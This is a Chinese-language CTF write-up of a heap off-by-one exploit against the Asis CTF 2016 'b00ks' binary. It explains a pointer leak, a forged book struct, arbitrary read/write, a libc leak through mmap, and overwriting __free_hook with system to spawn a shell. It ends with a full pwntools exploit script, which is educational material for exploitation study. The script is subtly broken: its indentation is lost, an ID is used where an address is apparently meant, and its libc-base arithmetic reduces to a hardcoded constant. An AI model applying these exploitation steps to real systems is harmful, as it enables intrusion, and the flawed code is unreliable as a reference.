0%

Off-By-One

off-by-one漏洞原理

off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括

  • 使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。
  • 字符串操作不合适

一般来说,单字节溢出被认为是难以利用的,但是因为 Linux 的堆管理机制 ptmalloc 验证的松散性,基于 Linux 堆的 off-by-one 漏洞利用起来并不复杂,并且威力强大。 此外,需要说明的一点是 off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等,但是堆上(heap based) 的 off-by-one 是 CTF 中比较常见的。我们这里仅讨论堆上的 off-by-one 情况。

off-by-one利用思路

  1. 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
  2. 溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。(2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。

实例1:Asis CTF 2016 b00ks

静态分析

程序基本情况如下,为64位程序,开启了RELRO、NX、PIE,程序提供了创建、删除、编辑、打印图书的功能。

image-20220422152606252

IDA看一下,首先是create,创建book时,name和description在堆上分配。首先使用malloc分配name buffer,大小不超过32;之后,分配description buffer, 大小自定义;最后分配book结构体,用于保存book的信息。

image-20220422165120899

分析图中可知第一个+6其实就是4*6=24 =0x18,后面以此类推(qword=8个字节)。其中unk_202024存储的其实就是bookID

image-20220422170501731

get_bookID获取的其实是在array_ptr(其实就是多个book_struct)中为0的索引(应该是为了方便后面放数据)

image-20220422170532547

点进my_read函数看一下,可以看到当输入数据的长度正好为size时,会向ptr中越界写入一个字节\x00

image-20220422173017935

以上分析总结如下图

image-20220422172403311

漏洞利用

当申请内存小于128k就会使用brk,大于128k的时候就会使用mmap,mmap开辟出的块与libc基址的偏移是固定的,因此只要拿到mmap开辟出的chunk的地址,就能通过一个“固定的偏移”得到libc

image-20220422181305302

看一下主函数一开始的一个函数

image-20220422182430456

image-20220422182244641

image-20220422182310438

从上图看到my_read函数会读32个字节的数据到author_name(可以看到当输入数据的长度正好为32时,会向author_name中越界写入一个字节\x00。)

printf函数用%s打印author_name,如果没有遇到\x00会一直输出,甚至输出array_ptr的内容。因此,如果名字长达32字节,就能够泄露出第一个book结构的地址。通过打印 author name 就可以获得 array_ptr 中第一项的值。

image-20220422182542583

为了实现泄漏,首先在 author name 中需要输入 32 个字节来使得结束符被覆盖掉。之后我们创建 book1 ,这个 book1 的指针会覆盖 author name 中最后的 NULL 字节,使得该指针与 author name 直接连接,这样输出 author name 则可以获取到一个堆指针。

程序中同样提供了change_name 函数, 用于修改 author name ,所以通过 该函数可以写入 author name ,利用 off-by-one 覆盖 array_ptr 第一个项的低字节。

覆盖掉 book1 指针的低字节(bookId)后,这个指针会指向 book1 的 description ,由于程序提供了 edit 功能可以任意修改 description 中的内容。我们可以提前在 description 中布置数据伪造成一个 book2结构,使得其中的book1_description_ptr指向book2_description_ptr;这样通过先后修改book1_description和book2_description,从而实现任意地址写任意内容的功能。

我们已经获得了任意地址读写的能力,但是这个题目开启 PIE 并且没有泄漏 libc 基地址的方法,在分配第二个 book 时,使用一个很大的尺寸,使得堆以 mmap 模式进行拓展。我们知道堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。

在这里我们申请一个超大的块,来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。

payload

image-20220424160048417

第一个框就是我们输入的32个a(author_name),第二个框就是book1_struct_ptr,第三个框就是book2_struct_ptr。两者相差0x30,详细查看一下其中的内容,可以看到保存的分别是Id,name_ptr,des_ptr,des_size。

image-20220424161615083

由于该程序启用了FULL RELRO保护措施,无法对GOT进行改写,但是可以改写__free_hook__malloc_hook

__free_hook指向的内容修改为system的地址,在调用free函数时,由于__free_hook里面的内容不为NULL,从而执行指向的指令。

__free_hook参考如下:

image-20220424172750488

执行edit修改的是book_des_ptr和book_des_size的内容

image-20220424190405283

因为book1的des指向book2的des处,将该处改为__free_hook地址,那么写book2的des时就会往__free_hook处写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

io = process("./b00ks")
binary = ELF("b00ks")
libc=binary.libc
def createbook(name_size, name, desc_size,desc):
io.recv()
io.sendline("1")
io.sendlineafter('Enter book name size: ', str(name_size))
io.sendlineafter('Enter book name (Max 32 chars): ', name)
io.sendlineafter('Enter book description size: ', str(desc_size))
io.sendlineafter('Enter book description: ', desc)

def createname(name):
io.sendlineafter('Enter author name: ', name)

def changename(name):
io.recv()
io.sendline('5')
io.sendlineafter('Enter author name: ', name)

def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id = int(io.readline()[:-1])
io.readuntil(": ")
book_name = io.readline()[:-1]
io.readuntil(": ")
book_des = io.readline()[:-1]
io.readuntil(": ")
book_author = io.readline()[:-1]
return book_id, book_name, book_des, book_author

def deletebook(bookId):
io.recv()
io.sendline("2")
io.sendlineafter('Enter the book id you want to delete: ', str(bookId))

def edit_book(bookId, desc):
io.recv()
io.sendline('3')
io.sendlineafter('Enter the book id you want to edit: ', str(bookId))
io.sendlineafter('Enter new book description: ', desc)


createname("A"*32)
createbook(128, "book1", 32, "book1 created")

#leak book1_struct_addr

book_id_1, book_name, book_des, book_author = printbook(1)
book_addr_1 = u64(book_author[32:32+6].ljust(8,b'\x00'))

log.success("book1_address:" + hex(book_addr_1))
#create book2, addr needs to be bigger(ex 0x21000), so that we can call mmap()

createbook(0x21000, 'book_2', 0x21000, 'second book create')
#fake_book1_struct
payload = p64(1) + p64(book_id_1 + 0x38) + p64(book_addr_1 + 0x40) + p64(0xffff)
edit_book(book_id_1,payload)

changename("a"*32)
book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,b'\x00'))
book2_des_addr = u64(book_des.ljust(8,b'\x00'))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_des_addr))
offset = book2_name_addr - 0x7ffff79e2000
libc_base = book2_name_addr - offset
log.success("libc base:" + hex(libc_base))

free_hook = libc.symbols['__free_hook'] + libc_base
system = libc.symbols['system'] + libc_base
binsh_addr = libc.search('/bin/sh').next() + libc_base

payload = p64(binsh_addr) + p64(free_hook)
edit_book(book_id_1, payload)

payload = p64(system)
edit_book(2, payload)

deletebook(2)
io.interactive()

参考链接:bilibili这个讲的很清楚